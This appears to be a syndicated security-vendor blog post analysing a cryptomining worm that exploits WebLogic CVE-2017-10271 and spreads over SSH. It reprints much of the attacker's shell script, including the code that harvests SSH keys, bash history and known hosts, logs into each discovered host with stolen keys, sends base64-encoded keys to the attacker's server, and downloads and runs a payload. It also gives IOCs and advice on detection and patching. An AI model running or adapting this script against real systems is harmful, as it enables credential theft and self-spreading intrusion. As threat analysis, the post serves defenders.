SBN

SSH Worming CryptoMiner Targets Vulnerable WebLogic Instances

Attackers have combined known POCs for WebLogic CVE-2017-10271 with a clever script that attempts to worm across the victims network by abusing recent SSH connections and stored SSH private keys. This type of attack is an old idea first theorized in an MIT paper and covered by Bruce Schneier in 2005, but it is interesting to review a modern attempt at implementing the quintessential SSH worm.

The initial payload comes across structured like a typical WebLogic exploit that we are accustomed to seeing, the payload is a simple wget piped to a shell.

SSH Worming CryptoMiner Targets Vulnerable WebLogic Instances

The payload eventually downloads a coin miner (of course, everything does nowadays), but the novel part here is the attempt to propagate via SSH. The attackers have scripted out the steps required to find all possible SSH keys, all likely SSH connections (from all user’s bash history), and attempt to spread via those connections.

The attacker first attempts to identify every ssh key on the host, by pillaging every user’s .ssh directory, and looking for directly referenced SSH certs in all users bash history.

KEYS=$(find ~/ /root /home -maxdepth 2 -name '.ssh'|xargs find|awk '/pub|pem/') 
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep IdentityFile|awk -F "IdentityFile" '{print $2 }') 
KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"|awk -F ' -i ' '{print $2}'|awk '{print $1'}) 

Then the attacker mines all of the user’s bash history, recently accessed SSH hosts, and even netstat to try to identify potential targets

HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep HostName|awk -F "HostName" '{print $2}') 
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"| grep -oP "([0-9]{1,3}.){3}[0-9]{1,3}") 
HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"|tr ':' ' '|awk -F '@' '{print $2}'|awk -F '{print $1}') 
HOSTS4=$(cat /etc/hosts|awk '{print $1}') 
HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts| grep -oP "([0-9]{1,3}.){3}[0-9]{1,3}") 
HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}.){3}[0-9]{1,3}") 

After that, the attacker attempts to find all valid users on the host

USERS=$(ls /home) 
USERS="$USERS root" 
USERS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"|awk -F '@' '{print $1}'|awk '{print $NF'}) 

Now that the attacker’s script has determined a set of users, private keys, and potential targets, he goes to work, deploying the exact same script that we saw in the initial infection, and sends back the successful credentials to his own server for likely future abuse. The attacker iterates across all discovered users, keys, and target hosts and attempts to install this worm onto the destination system.

for user in $USERS 
do 
  for host in $HOSTS 
  do 
    for key in $KEYS 
    do 
    ((i++))
if [ "${i}" -eq "10" ]; then sleep 5; ps wx|grep "yes"|awk '{print $1}' | xargs kill -9&>/dev/null& ps wx|grep "ssh -o"|awk '{print $1}' | xargs kill -9&>/dev/null& ps wx|grep "$WGET"|awk '{print $1}' | xargs kill -9&>/dev/null& i=0 fi;
← Wait 5 seconds after every 10 attempts and clean up hanging processes
chmod +r $key mykey=$(cat $key|base64 -w0) chmod 400 $key me=$(hostname)
payload=$(echo ".$me.$mykey.$key.$user@$host") #|base64 -w0) echo "ssh -oStrictHostKeyChecking=no -i $key $user@$host" yes yes| ssh -oStrictHostKeyChecking=no -i $key $user@$host "$WGET /dev/null
← Perform Brute Force Attempts
$XMHTTP/YEY__$payload;$WGET -O /tmp/.XO-lock $XMHTTP/a.sh;curl -o /dev/null $XMHTTP/CYEY__$payload;curl –o /tmp/.XO-lock $XMHTTP/a.sh; sh /tmp/.XO-lock"& done done done

The attacker does a few interesting things, including a bit of counter intel.

The first thing that the attacker does to thwart tracking is to implement his own server to proxy his mining activities, which is embedded in the modified XMRig miner this script downloads. This makes it more difficult for us to track wallet IDs across campaigns, and obscures botnet mining activities from honest mining pool owners.

Mining pools are popular due them paying out proportionally based on effort to mine to a cryptocurrency coin. Hundreds or thousands of different miners will all contribute to solving for these coins, as it is not really practical anymore to solve them individually. We use pool contributions and payouts as an indicator of botnet size and activity. In this case by using their own server to collect all of these mining efforts, they are able to mask their size, and by not using a wallet id (a typical username for public pools) it makes their efforts harder to track. In this case they may be attempting to solve blocks on their own, or more likely, forwarding these requests to a public pool and masking their efforts from the pool owner.

Hardcoded miner config from XMRig payload:

--algo=cryptonight 
--retries=99 
--variant=-1 
--user=Drupal64 
--pass=x 
--threads=4 
--av=0 
--background 
--keepalive 
--retry-pause=5 
--cpu-affinity 
--cpu-priority=5 
--donate-level=0 
--max-cpu-usage=80 
--nicehash 
--url=drupal.jjsfhjsdf87hsadfn.xyz:3333

A final entertaining tactic the attacker employs is to change the landing page to his delivery site to an FBI takedown notice, this may lead casual Incident Responders to believe that the site has been neutered.

SSH Worming CryptoMiner Targets Vulnerable WebLogic Instances

This site is very much not seized, and currently responding at: 54.39.77.214 hosted on OVH.

This attack could be leveraged in interesting ways across any system that runs SSH. The correct way to detect this would be to look for repeated SSH key login failures, or in this specific case, monitoring for outbound SSH attempts from a webserver. Of course, the best way to avoid this sort of infection is to patch whenever these sorts of remote code execution vulnerabilities arise, as these are always immediately targeted by actors such as this.

This is yet another case where we are lucky that the attack is coin mining, and not destructive malware, or ransomware. All of these attacks should be a reminder that it’s really the payload that matters. If you are hit by this you can take this as a warning as you are resetting your passwords and changing SSH keys. For now, given the price and ease of mining of cryptocurrencies, the bulk of attacks we see are of this nature. A less well-mannered attacker would have rendered your systems useless via ransomware or destructive malware. The time will come when it isn’t feasible to mine cryptocurrency on commodity machines, and we can expect to see a return to these tactics.

IOCS:

Domain

Type

IP

Notes

dl[.]jjsfhjsdf87hsadfn[.]xyz

Delivery

54[.]39[.]77[.]214

drupal[.]jjsfhjsdf87hsadfn[.]xyz

Mining Pool

54[.]39[.]77[.]221

drupal[.]jjsfhjsdf87hsadfn[.]xyz

Mining Pool

54[.]39[.]77[.]214

Filename

Type

MD5

SHA1

xm32

ELF 32bit Linux Executable

a93ca89b9ddde87e5cacb6a642af07b9

a9fb6ee0b86ccfbdae12b0caab988d860435b6fb

Xm64

ELF 64bit Linux Executable

6fce7518b61f634bcd5ea27c69143331

00c95a7b47bbc784b82aaa6814fcbfef9010033f

Xm32s

ELF 32bit Linux Executable

a93ca89b9ddde87e5cacb6a642af07b9

a9fb6ee0b86ccfbdae12b0caab988d860435b6fb

Xm64s

ELF 64bit Linux Executable

6fce7518b61f634bcd5ea27c69143331

00c95a7b47bbc784b82aaa6814fcbfef9010033f

a.sh

Shell Script

41e30d83b1a17a69cfd04b0dbed65a77

0a770dc7ba6a72056550d55e25e190395ef867ee

*** This is a Security Bloggers Network syndicated blog from Alert Logic - Blogs Feed authored by Alert Logic ActiveWatch Team. Read the original post at: https://blog.alertlogic.com/blog/ssh-worming-cryptominer-targets-vulnerable-weblogic-instances/